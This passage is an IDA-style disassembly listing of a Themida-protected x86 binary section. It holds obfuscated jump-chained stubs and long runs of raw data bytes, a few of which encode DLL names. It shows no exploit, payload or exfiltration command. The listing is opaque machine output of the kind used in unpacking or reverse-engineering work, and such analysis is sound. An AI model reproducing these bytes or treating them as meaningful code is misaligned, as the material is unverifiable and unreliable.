		pop	esp
		jmp	loc_56B7A9
; ---------------------------------------------------------------------------
		db 31h
		dd 6BE9241Ch, 89FFFF32h, 405E0h, 68520000h, 4, 5AD0015Ah
		dd 31240433h, 0A9E92404h
		db 0E4h, 2 dup(0FFh)
byte_570B7F	db 0ACh			; DATA XREF: Themida_:0055C2B0o
		dd 0F63BB652h, 32F680D6h, 0C028B151h, 0E1C007E1h, 6E9C006h
		dd 0FF6927E9h, 1E883FFh, 0FEF31BE9h, 3BA8BEFFh,	31E93FC7h
		dd 68FFFEEDh, 542Ch, 0E9243489h, 0FFFF8B6Ch, 5702E1C1h
		dd 435C0BFh, 0C683E921h, 0BD55FFFEh, 0B7D5E9Eh,	0BE564Dh
		dd 214F340Dh, 0C1E95EF5h
		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570BDB:				; CODE XREF: Themida_:0055DFFEj
		add	esp, 4
		mov	edx, esi
		pop	esi
		add	edx, edi
		mov	eax, [edx]
		mov	edx, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_55F02F
; ---------------------------------------------------------------------------


loc_570BF6:				; CODE XREF: Themida_:0055FC9Fj
		mov	eax, 1FCC7BC5h
		or	eax, 7B573AA1h
		not	eax
		inc	eax
		add	eax, 181E5E2Dh
		xor	eax, 903CE3F5h
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		add	esi, edx
		push	ebx
		push	ebp
		jmp	loc_56F352
; ---------------------------------------------------------------------------


loc_570C21:				; CODE XREF: Themida_:0056D60Dj
		push	ecx
		push	14F23198h
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 5300183Ah
		xor	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56245C
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 619B0003h, 5359CB01h, 0FF694AE9h, 0C5815AFFh, 6D247D8Dh
		dd 28CED81h, 0CD0111C5h, 28CC581h, 0ED8111C5h, 6D247D8Dh
		dd 0FF3D75E9h, 240489FFh, 0A540D8B8h, 40DABF56h, 0C72956A5h
		dd 7FE98158h, 12CE36Eh,	7FC181F9h, 0E92CE36Eh, 0FFFFEE1Eh
		dd 7F05B2BBh, 66EB8122h, 81554411h, 9011ECBh, 7EBC104h
		dd 71B7F381h, 0EB817E71h, 7FEB0659h, 0DBE9DD01h, 81FFFF22h
		dd 305456F2h, 0F9E28165h, 53452722h, 0C35F66BBh, 0DDC38133h
		dd 1881C9Fh, 0D6015BDAh, 0B6E9555Ah, 83FFFF02h,	61E904ECh
		dd 66FFFEFCh, 0E9292268h, 0FFFF23A6h
; ---------------------------------------------------------------------------


loc_570CF4:				; CODE XREF: Themida_:0056D951j
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_56DDEC
; ---------------------------------------------------------------------------
		dw 0ED80h
		dd 80F50019h, 5A19C5h, 686659EBh, 896628CBh, 0ECB22414h
		dd 0B9E9D330h, 87FFFF95h, 248B243Ch, 4C3E6824h,	4890000h
		dd 72BA5224h, 0B804A364h, 5AE75447h, 0CAE9D031h
		db 19h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570D5B:				; CODE XREF: Themida_:00564A40j
		mov	edi, eax
		pop	eax
		jmp	loc_55D9A2
; ---------------------------------------------------------------------------
		db 56h
		dd 0C681E689h, 4, 4C681h, 34E90000h
		db 65h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570D77:				; CODE XREF: Themida_:0056CD5Dj
		add	edx, eax
		pop	eax
		add	edx, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		sub	ebp, esi
		pop	esi
		jmp	loc_56F9EA
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFF6188h, 42D1B850h, 262D49FFh, 0C171FA49h
		dd 0BE5606E0h, 71354FA7h, 0C9DEC681h, 0F029B6DCh, 17F4355Eh
		dd 0D0F77C86h, 84625435h, 58C70185h, 0FF24C8E9h, 0C4815FFFh
		dd 4, 4EC81h, 34890000h, 81E68924h, 4C6h, 0C529E900h, 0E94AFFFFh
		dd 0FFFFE795h, 31242C33h, 2C33242Ch, 24248B24h,	3302E983h
		dd 0C31240Ch, 240C3324h, 6624248Bh, 0E9240489h,	0FFFEB507h
; ---------------------------------------------------------------------------


loc_570E1C:				; CODE XREF: Themida_:00564B4Bj
		pop	ebp
		shr	eax, 10h
		xor	eax, ecx
		push	5DF8h
		mov	[esp], edx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edx
		push	ecx
		mov	ecx, 4FAD1B0Bh
		sub	ecx, 7FC05F0Dh
		not	ecx
		or	ecx, 177B0D79h
		inc	ecx
		xor	ecx, 66950042h
		push	esi
		mov	esi, 0FA26952h
		xor	esi, 445B0301h
		and	esi, 613411h
		shr	esi, 6
		add	esi, 0AE102E4Ch
		add	ecx, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_56DF68
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24048904h, 168h, 2434FF00h, 0FFFF0FE9h
		db 0FFh
byte_570E8D	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055C2B4o
		dd 4EC8124h, 0E9000000h, 0FFFFE0F8h
; ---------------------------------------------------------------------------


loc_570E9C:				; CODE XREF: Themida_:005670A3j
		push	dword ptr [esp]
		pop	ecx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	537Dh
		jmp	loc_567780
; ---------------------------------------------------------------------------


loc_570EBD:				; CODE XREF: Themida_:00568A17j
		add	esp, 4


loc_570EC3:				; CODE XREF: Themida_:00569479j
		push	eax
		jmp	loc_566525
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 4Fh
		dd 5FFFF37h, 55CF668Bh,	0E953D829h, 0FFFF1141h,	3BC7E945h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570EE2:				; CODE XREF: Themida_:0056F894j
		push	esi
		jmp	loc_567CA6
; ---------------------------------------------------------------------------
		dd 714BEA81h, 815E7E55h, 4ECh, 24148900h, 42474FFh, 5724148Bh
		dd 0FFF7AEE9h, 0D88966FFh, 0C589665Bh, 0EC835866h, 2C896602h
		dd 1B16E924h, 0EE81FFFFh, 0A75B1FC0h, 2815C181h, 0F5E958F0h
		dd 2CFFFEEAh, 240C8BB4h, 0FED497E9h, 50D701FFh,	0BA3651B8h
		dd 58C72971h, 0FF622DE9h, 65B5BEFFh, 0EC813FBBh, 4, 0BF243C89h
		dd 1627B80Eh, 0FFBA22E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570F5D:				; CODE XREF: Themida_:00567348j
		push	edx
		mov	edx, esp
		jmp	loc_55E558
; ---------------------------------------------------------------------------
		db 1, 0CAh, 59h
		dd 2474FF52h, 48F5A04h,	83565C24h, 0E3E904ECh
		db 0D8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_570F7B:				; CODE XREF: Themida_:0055F1EAj
		add	esp, 4
		jmp	loc_56C4EC
; ---------------------------------------------------------------------------


loc_570F86:				; CODE XREF: Themida_:005643A9j
					; Themida_:0056625Aj
		push	ebx
		push	2249h
		mov	[esp], ebp
		push	eax
		push	esi
		mov	esi, 448541FFh
		mov	eax, 2FF62F92h
		add	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		dec	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 1
		sub	eax, 5EDB744Bh
		sub	eax, esi
		add	eax, 5EDB744Bh
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		shl	eax, 4
		xor	eax, 0CC20926h
		jmp	loc_566A90
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4, 335BD901h, 0C31240Ch, 240C3324h, 0FF54515Ch, 0E9592434h
		dd 0FFFF31E8h, 4BFh, 4EC8100h, 89000000h, 16B82404h, 0D1226358h
		dd 4E8C1E0h, 0A9225F0Dh, 2DAF2556h, 0DEE93D90h,	5EFFFF54h
		dd 0C15EF189h, 0F74902E1h, 0E147E9D1h, 0C801FFFEh, 24048759h
		dd 13BF575Ch, 812C3230h, 651AF0F7h, 0DAE78169h,	81147F7Fh
		dd 4ECh, 3A18E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57105A:				; CODE XREF: Themida_:0056AB62j
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_566CAB
; ---------------------------------------------------------------------------
aSh		db '^Sh(|',0
		dd 24048900h, 2B8h, 0E9C38900h,	0FFFF0933h, 0E903E2C1h
		dd 0FFFEC6D4h
; ---------------------------------------------------------------------------


loc_571090:				; CODE XREF: Themida_:0056927Aj
		mov	esp, [esp]
		jmp	loc_5625F4
; ---------------------------------------------------------------------------
		dd 2265E95Ch, 431FFFFh,	24043324h, 2404895Ch, 0FEB276E9h
		db 0FFh
byte_5710AD	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055C1A4o
		dd 0E9545524h, 0FFFF0BFBh
; ---------------------------------------------------------------------------


loc_5710B8:				; CODE XREF: Themida_:0056815Dj
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_564C83
; ---------------------------------------------------------------------------
		db 1
		dd 776859CDh, 89000015h, 89562434h, 4C681E6h, 0E9000000h
		dd 0FFFFEA62h, 8104C483h, 4EEh,	24343300h, 33243431h, 248B2434h
		dd 5806E924h, 1C87FFFFh, 0EC815C24h, 4,	0BF243C89h, 30ED7A94h
		dd 3C8BFB31h, 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h
		dd 0FFAC17E9h, 241C89FFh, 0E951CF88h, 0FFFEFD92h, 0F01983BEh
		dd 12F6811Eh, 467B763Ah, 8102EEC1h, 0B61888F6h,	68EE813Eh
		dd 81C86D8Ah, 0BE0DE2EDh, 56F52927h, 0BE0DE2BEh, 0A2ED8127h
		dd 0E910D160h, 0FFFF811Bh, 33240C31h, 248B240Ch, 0A30F6624h
		dd 0E99C2404h, 0FFFEB1ABh, 5F04C483h, 8143D3F7h, 7F36EBC3h
		dd 8BD98973h, 0C483241Ch, 54BF2D04h, 74050867h,	2D6D3B15h
		dd 3FAB4A28h, 0A3E9C829h, 89FFFEF8h, 1CF7242Ch,	2434FF24h
		dd 0E9242C8Bh, 0FFFECCBEh, 56E08950h, 1777B951h, 8CE94506h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5711C3:				; CODE XREF: Themida_:0056DF18j
		pop	esi
		push	ebx
		mov	ebx, 42743A17h
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_568E4F
; ---------------------------------------------------------------------------
		db 89h,	0F1h, 5Eh
		dd 4A28EB81h, 0CB0103ABh, 4A28C381h, 535903ABh,	42474FFh
		dd 83241C8Bh, 48F04C4h,	0F9F0E924h
		db 0FEh, 0FFh
word_571202	dw 66ACh		; DATA XREF: Themida_:0055C27Co
		dd 0F6B2B252h, 0FFEA80D2h, 518AEA80h, 0FF5AF0E9h, 244481FFh
		dd 93588204h, 5ACE901h,	2CBAFFFFh, 0E90D4E46h, 0FFFF3E53h
		dd 582434FFh, 4CC968h, 24048900h, 0E6FE954h, 4721FFFFh
		dd 2434FF1Ch, 4C48158h,	0E9000000h, 0FFFFDFA0h,	0E959CE01h
		dd 0FFFFF953h
; ---------------------------------------------------------------------------


loc_571258:				; CODE XREF: Themida_:0056937Cj
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_570467
; ---------------------------------------------------------------------------


loc_57126E:				; CODE XREF: Themida_:00568435j
		pop	esp
		add	esp, 4
		jmp	loc_567000
; ---------------------------------------------------------------------------


loc_571277:				; CODE XREF: Themida_:00565D40j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		and	eax, edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	esp, 4
		shr	eax, 8
		xor	eax, ecx
		push	51C0h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55F146
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0BEh
		dd 0FF129F10h, 835F2434h, 0C28104C4h, 4, 5C241487h, 0EC83F1F7h
		dd 24048904h, 4055854h,	83000000h, 148904ECh, 4BF5724h
		dd 53000000h, 0DA89FB89h, 2434FF5Bh, 0E92434FFh, 0FFFF726Dh
; ---------------------------------------------------------------------------


loc_5712F4:				; CODE XREF: Themida_:0056EAA5j
		xor	eax, [esp]
		pop	esp
		jmp	loc_5628BF
; ---------------------------------------------------------------------------
		db 5Bh,	57h, 0E9h
		dd 0FFFF5BF1h
; ---------------------------------------------------------------------------


loc_571304:				; CODE XREF: Themida_:0056AAB2j
		mov	edi, 202911C4h
		xor	ecx, edi
		pop	edi
		add	esi, ecx
		jmp	loc_564E15
; ---------------------------------------------------------------------------
		db 68h
		dd 0F1Ah, 0E9241489h, 0FFFFDFF9h, 8B66D830h, 0EC81241Ch
		dd 4, 89240489h, 570668E0h, 3C890000h, 0E9515324h, 0FFFECD8Bh
; ---------------------------------------------------------------------------


loc_571340:				; CODE XREF: Themida_:00566689j
		add	edi, 13AD158Eh
		push	ebp
		mov	ebp, 0D7AE0D76h
		sub	edi, ebp
		jmp	loc_56B5AA
; ---------------------------------------------------------------------------


loc_571353:				; CODE XREF: Themida_:0056719Aj
		add	ah, 0C3h
		xor	ah, 49h
		sub	cl, ah
		pop	eax
		add	dh, 68h
		sub	dh, cl
		sub	dh, 68h
		pop	ecx
		shl	dh, 8
		inc	dh
		jmp	loc_560570
; ---------------------------------------------------------------------------
		db 53h
		dd 0FFB8A3E9h, 89E981FFh, 816F7873h, 0D97623C9h, 0E6F1815Ah
		dd 0E9BCA9A2h, 0FFFFE995h, 6E5DE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571392:				; CODE XREF: Themida_:00563A19j
		mov	[esp], eax
		jmp	loc_56B08C
; ---------------------------------------------------------------------------
		dw 0D4BDh
		dd 0E95F416Bh, 0FFFEE96Ch, 0D34E662Dh, 5E8291Dh, 1DD34E66h
		dd 280268h, 24148900h, 0FF00E9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5713BD:				; CODE XREF: Themida_:0056E5E4j
		sub	eax, ebx
		push	edx
		mov	edx, 19D03B62h
		or	edx, 459F030Fh
		not	edx
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		dec	edx
		shr	edx, 5
		push	ebp
		mov	ebp, 9BD48CB3h
		jmp	loc_56E722
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 6E4BBB24h, 0E2E97E1Bh, 0B4FFFF39h, 1D04E915h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5713F6:				; CODE XREF: Themida_:00561F86j
		pop	esp
		pop	dword ptr [edi+24h]


loc_5713FA:				; CODE XREF: Themida_:0055E582j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5610DC
; ---------------------------------------------------------------------------


loc_571405:				; CODE XREF: Themida_:0056A5F0j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		pop	ecx
		add	edx, edi
		jmp	loc_56013B
; ---------------------------------------------------------------------------
		dd 2474FF55h, 48F5D04h,	54535C24h, 7A0DE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57142E:				; CODE XREF: Themida_:00560AC9j
		shr	edi, 8
		xor	edi, 29C12EE5h
		mov	esi, edi
		pop	edi
		push	esi
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		pop	esi
		inc	esi
		jmp	loc_56E3B4
; ---------------------------------------------------------------------------


loc_57144A:				; CODE XREF: Themida_:00567B7Aj
		mov	edx, [esp]
		add	esp, 4
		add	eax, edx
		add	dword ptr [eax], 1
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56A65B
; ---------------------------------------------------------------------------


loc_571463:				; CODE XREF: Themida_:00564A6Dj
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_570A7E
; ---------------------------------------------------------------------------


loc_57146D:				; CODE XREF: Themida_:0057069Bj
		push	edx
		mov	edx, 2
		push	ecx
		mov	ecx, 55091BFDh
		jmp	loc_56405B
; ---------------------------------------------------------------------------
		dw 0CCB5h
		dd 459EE30h, 52F000F2h,	0F028F2B6h, 0AAE95A5Ah,	0E9FFFF2Eh
		dd 0FFFEAE8Bh
; ---------------------------------------------------------------------------


loc_571498:				; CODE XREF: Themida_:00563CEBj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xchg	ecx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_55F988
; ---------------------------------------------------------------------------
		dd 0D9F7D9F7h, 3980F181h, 5DE97675h, 68FFFFEAh,	5F17h
		dd 0E9243C89h, 0FFFF2577h, 1B05685Bh, 1C890000h, 1C8B5E24h
		dd 0E2895224h, 4C281h, 0BE560000h, 4, 78E9F201h, 0B9FFFF7Eh
		dd 71BA3651h, 0A9E9CF01h
		db 13h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5714FF:				; CODE XREF: Themida_:0056CAFBj
		push	eax
		mov	eax, esp
		push	ebp
		jmp	loc_56904B
; ---------------------------------------------------------------------------
		dd 0E901C383h, 0FFFEAE94h, 241C381h, 0C38153DAh, 601266D1h
		dd 5A2434FFh, 4C481h, 0E3810000h, 7B4C37A9h, 0FF114DE9h
		dd 7EEC1FFh, 418868h, 241C8900h, 0FFFFFFBBh, 0A9B5E9FFh
		dd 0F501FFFFh, 2CBFED81h, 348B07C4h, 0D55DE924h, 34FFFFFEh
		dd 0E501E924h, 0E530FFFFh, 0FEBF3DE9h, 6FD2BDFFh, 0EDC106A3h
		dd 78BF5702h, 0E9539153h, 0FFFF26F2h, 4C481h, 52E90000h
		db 16h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571583:				; CODE XREF: Themida_:00567710j
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		push	edi
		jmp	loc_5615DB
; ---------------------------------------------------------------------------
		dd 81DEF75Ah, 6385CAF6h, 8BF329D8h, 0C4812434h,	4, 1A81F381h
		dd 0B8504752h, 5E222613h, 0FEE17BE9h, 0C6E948FFh
		db 1Ah,	2 dup(0FFh)
byte_5715BB	db 0ADh			; DATA XREF: Themida_:0055C210o
		dd 0FEB786E9h, 0DE8FFh,	7E1F0000h, 0C0FBA76Fh, 5DAEAE21h
		dd 66248CB4h, 5AF5F7BBh, 0E5CE8166h, 0BAC281E4h, 0F000072h
		dd 189h, 68F800h, 0E9000000h, 0Bh, 872AAFC3h, 926D7638h
		dd 59D80ED5h, 7E952h, 536A0000h, 0B9719414h, 34FF5B70h
		dd 0FE911h, 24680000h, 0DB41C830h, 0A7C8E699h, 32943FFAh
		dd 8E0F587Bh, 0
		dd 0EB26C081h, 0E8811B77h, 2E69B358h, 0F5B54FBFh, 1AC0817Ch
		dd 8B35955Bh, 0A0489D8h, 4C06BB66h, 1870Fh, 83F80000h
		dd 0C38001E9h, 4949499Eh, 5FDE8B56h, 8DFCF981h,	850FFFFFh
		dd 0FFFFFFA2h, 0FE9h, 51BDF600h, 0AFAAEEECh, 71D67B2Bh
		dd 5372D7CBh, 41E9h, 0C2C89000h, 4553555Bh, 2E323352h
		dd 6C6C64h, 41564441h, 32334950h, 6C6C642Eh, 44544E00h
		dd 642E4C4Ch, 0D7006C6Ch, 4000A07h, 0A001200h, 27000C00h
		dd 1E300h, 2 dup(0)
		dd 8DE90000h, 68000008h, 6AB9F0Fh, 0FDE1CCE9h, 9F7068FFh
		dd 0C2E906ABh, 68FFFDE1h, 6ABA0ACh, 0FDE1B8E9h,	0A1FF68FFh
		dd 0AEE906ABh, 68FFFDE1h, 6ABA264h, 0FDE1A4E9h,	0A37668FFh
		dd 9AE906ABh, 68FFFDE1h, 6ABA3CFh, 0FDE190E9h, 0ADE77FFFh
		dd 376D0AB0h, 0C9FB943Ah, 548826CCh, 0DD17B157h, 0FB7FA5E0h
		dd 8C322F61h, 19BFBCF0h, 0A147447Eh, 7DD3D002h,	779B5BE9h
		dd 9205F5F8h, 0A6DA7800h, 0BE518320h, 276DAD0Fh, 3DD0029Fh
		dd 7E5A2C8Eh, 42D41CA6h, 7F205DB4h, 0F0F8A9F2h,	0A5149742h
		dd 2D4A9500h, 95385858h, 0B90991F3h, 8E17A537h,	30130B34h
		dd 76D80CA8h, 0CBD674FCh, 0BD50FF31h, 0B2EE880Eh, 0B80A7003h
		dd 8018A638h, 0DC18A46Ah, 0F44E992Bh, 45AD9985h, 0D96C9E3Dh
		dd 65197B2Ah, 96353EDDh, 9B23B564h, 2557F4FDh, 0A134E392h
		dd 0CB7190F2h, 80B6602Ch, 0A402FDFBh, 0EDECA45Bh, 0F2A17DBAh
		dd 7BCF5A7Bh, 53740956h, 6D3h, 6D6AAA42h, 0FBF82AC7h, 8986BC55h
		dd 161345E3h, 9D9AD670h, 1EB8C262h, 0A33FE5E2h,	33CE7471h
		dd 0BF5E0401h, 0A63A908Dh, 0F876DE18h, 2947BAF5h, 0CF629433h
		dd 0E91BB53Dh, 0BD45A756h, 0CB59EB05h, 0F270A86Bh, 6AF28435h
		dd 0F29895CFh, 48A1D57h, 8ABE5C65h, 0B92564DBh,	53E88FA3h
		dd 67232h, 0D90BA300h, 639936DCh, 0ED27C066h, 78AC4AF0h
		dd 93BD57Bh, 2753D10Ch,	0B056538Dh, 3DE3E014h, 0CD7370A2h
		dd 0A9FFFC2Eh, 766F8715h, 0B629F5F8h, 62943398h, 73AD48D0h
		dd 0BE2052EDh, 792C7709h, 0A943C0E7h, 3FDE86E8h, 0B1167A0Dh
		dd 6F6B874Bh, 4ED6A6B8h, 0BE1E80B4h, 59h, 49F277Eh, 0F68837CAh
		dd 0A4158E68h, 0F7590AFCh, 0EC7EB04Fh, 44ED07A1h, 0D1330AD0h
		dd 952D74B2h, 0A5FCA415h, 51D7D406h, 5FED7F71h,	0F27E8535h
		dd 8AC45FE7h, 79948F7h,	0ADAAE47Fh, 0A0326C07h,	497B18h
		dd 7C36782Bh, 9449ABEDh, 5C673h, 9D39C100h, 0C325D467h
		dd 5932783h, 0FCA415F1h, 0F49CFEAFh, 44B24055h,	54FCA415h
		dd 0FB61F4A3h, 99729C7h, 0F27F30D8h, 58D1FD0h, 13A13369h
		dd 0F5FAEEE3h, 8BAA0CBDh, 80B251D9h, 29CD5BEDh,	77F5FAEFh
		dd 0F49117C6h, 1A7C2BBEh, 2FCAD372h, 4B362F5h, 0AF418107h
		dd 0EEF7951Dh, 0EA701F55h, 1B5174Dh, 0C780BC73h, 9527D8EBh
		dd 4340720Dh, 386A0991h, 62ADF6A5h, 43722FBAh, 14AF57B9h
		dd 22C147DAh, 25B479F0h, 5EF3890Ah, 5363Dh, 0D47DF00h
		dd 97CD6A10h, 295BF49Ah, 0B4E8862Ch, 3D7711B7h,	5B1F0540h
		dd 0EC928FC1h, 791F1C50h, 1A7A4DEh, 0DD333062h,	763BBB49h
		dd 0F265F5F8h, 49F27D4h, 268837CAh, 1AADDF7Eh, 30C3F594h
		dd 0B41D67CCh, 0FCA41339h, 0A6216CFEh, 795E3D5h, 16C5F795h
		dd 5BBDF790h, 0B88EBB36h, 62FE86A6h, 86E8972Ah,	0FFFED526h
		dd 9433E6FFh, 5969CF62h, 88BA0597h, 0C7F99821h,	48F0637Eh
		dd 9A432E6h, 5F27ED6h, 0F1D15754h, 394AF465h, 8C2BAE1Bh
		dd 6AFCAB5Ah, 42B442D6h, 5EF5FA42h, 709D4BADh, 0B0EBD551h
		dd 46DA6CFFh, 5EEA22BEh, 0FCA35498h, 47F55708h,	0FCA3547Ah
		dd 9A78C427h, 0A6B84258h, 16A3Dh, 2D3E8900h, 975730D3h
		dd 9F23294h, 836D55CFh,	37D55DF1h, 61C37205h, 7F205EB3h
		dd 67F9AAF2h, 987044DFh, 0FC89B915h, 0A82EC170h, 0C224D30Dh
		dd 95EFEA98h, 0A91900A4h, 7E27B547h, 60130B8Bh,	77739A15h
		dd 86184951h, 0C9E1FEF8h, 87E99A22h, 63C95C0Dh,	1441F75Fh
		dd 3F20588Eh, 0ACD71FADh, 10C122C9h, 5741CF61h,	118A4E2h
		dd 9736BE50h, 22B66865h, 30C3019Ah, 0C101F581h,	0EE9F1D30h
		dd 1345E48Ch, 7B7E999Ch, 56770C56h, 3E3h, 5D5A9A32h, 0EBE81AB7h
		dd 7976AC45h, 60335D3h,	8D8AC660h, 0EA8D252h, 932FD5D2h
		dd 23BE6461h, 0AF4EF4F1h, 962A807Dh, 0F874EE08h, 1937AAF5h
		dd 0EF816F53h, 70A7BD61h, 7C19A1F2h, 0EC9BD56Fh, 8924AA59h
		dd 0CA7BF557h, 0DE12B038h, 0A540C87Ch, 2DC86E6Bh, 3BDA60F3h
		dd 0B6B99209h, 63F88FA3h, 37E42h, 0C5FF9700h, 4F8522C8h
		dd 0E113AC52h, 6CA03EE4h, 0F52FC96Fh, 1367BDF8h, 0A44A4779h
		dd 31D7D408h, 0B95F5C96h, 95EBE81Ah, 73837301h,	0AA1DF5F8h
		dd 0C894338Ch, 7916C51Eh, 575AFA43h, 6DFF9241h,	74AB4BD9h
		dd 44F5FCA3h, 699B3AE2h, 0A70D72D6h, 0A372935Ah, 58999CFCh
		dd 0E9A6B85Ch, 2B8DC761h, 0FFFD21CBh, 94338BFFh, 5969CF62h
		dd 32770597h, 46F27F3Ch, 275A9895h, 3CCF019Fh, 7A592B8Dh
		dd 46D818AAh, 0F27667B2h, 7ADD97BBh, 6CA76A18h,	0CE7FF27Eh
		dd 8B88F13Ch, 0AEE057C5h, 6874224Ch, 0F64DE2D7h, 0FE9224CCh
		dd 381ADC6Ah, 0D5864DE5h, 36E0C573h, 0FC043C0h,	5EE3327Dh
		dd 0C9FD571h, 0F0A0145Dh, 2C5EFD83h, 0D388EA99h, 0E51FB941h
		dd 0B941A352h, 0C755E709h, 4A682DD1h, 6069038Bh, 92DB8AC6h
		dd 7FE06CA5h, 1BAD5C56h, 30C2F493h, 5BE80E9Ch, 7B84DE5h
		dd 40D486A5h, 0E55B44B2h, 41A3544Dh, 51C8FA99h,	27B691CEh
		dd 6CF718ADh, 0A9000002h, 30D6D311h, 0BE646193h, 4CF2EF25h
		dd 0D77D7AAEh, 0CB06033Dh, 4D872159h, 0D60EAA50h, 669833D9h
		dd 0F224C369h, 7D0B9FF5h, 0F5F87279h, 5396B427h, 61EF816Fh
		dd 0F270A777h, 6F7C19A1h, 3CEB9AD4h, 4D8722AAh,	0D50FAA50h
		dd 0EB1DBC42h, 0A3B6E774h, 1031C68Fh, 213h, 2D2A6A02h
		dd 0BBB8EA87h, 49467C15h, 0D6D305A3h, 5D5A9630h, 0DE780222h
		dd 63FFA5A2h, 0F38E3431h, 7F1EC4C1h, 66FA504Dh,	0F8731ED8h
		dd 0E9077AF5h, 0EF816F53h, 1629CD5Bh, 2C77FCA4h, 14C31476h
		dd 0E648F71Bh, 760A9E32h, 0A3920EE8h, 4DD98AFCh, 0FCA391A9h
		dd 36E446F7h, 0F27023A2h, 1ADC6AFEh, 86F5F8FDh,	0C9426D5h
		dd 25D93B6Dh, 5BE9FE9Dh, 0F5F8FC9Bh, 0FCB93DCBh, 36E7F5F8h
		dd 0D9B2DDEh, 0F5F8FCE9h, 5A5706B7h, 778220A8h,	91F3A2DCh
		dd 0A638CA09h, 0F8FCD818h, 0C469B4F5h, 870CF196h, 0B9124D3h
		dd 9BAC3F71h, 4C497B15h, 835B0DC6h, 370DCC27h, 3FCD5F0Eh
		dd 0F5F8FAAFh, 12A638E9h, 0F8FA7284h, 0F77D2EF5h, 0E291245Eh
		dd 0A645CB80h, 4AD0E174h, 0D67C79ABh, 0C2720537h, 0C12B90DAh
		dd 4F13DF7Eh, 622138FEh, 781E1BCAh, 8214A7D9h, 4A380537h
		dd 0B6DB3A6h, 497C963h,	39C7E27Eh, 0F5F904BDh, 0E87B2ADBh
		dd 0F98CC862h, 4BDB2164h, 0C60973B6h, 52F8F527h, 39E97CB8h
		dd 0CD07A163h, 0E315B43Ah, 78C42750h, 369CEEEh,	558F28B0h
		dd 6CFF31CFh, 19B35BBDh, 0AA44EAE7h, 0BD51E376h, 45B9B29h
		dd 9445F5F9h, 0F904EE08h, 8422AAF5h, 973FA150h,	0A92FC2FCh
		dd 0C046D90Bh, 427C1722h, 0BE5100AFh, 5CCA3295h, 398AF255h
		dd 7DDF15B1h, 0C093BD5h, 24BEC766h, 0FFAE5DF0h,	6DD8E06Ch
		dd 0B2151D7Eh, 3466054Ah, 0C0F29137h, 0D30DA72Dh, 46AEF140h
		dd 9E306201h, 0E0427A16h, 4A7C1BC1h, 7F7151B7h,	0A8765FEDh
		dd 0F1A233A6h, 9C546EF4h, 29867C0Ah, 942839FFh,	0C932F006h
		dd 9DFFB03Dh, 59DF7223h, 0D98B88BAh, 0E908A48Eh, 0DB3DA056h
		dd 0CF629433h, 0E81AB53Dh, 7E5DA655h, 38C7C374h, 344AF85Ah
		dd 1DDC64E4h, 8D69F78Bh, 0B18F01Ah, 2993F85Ah, 181547E6h
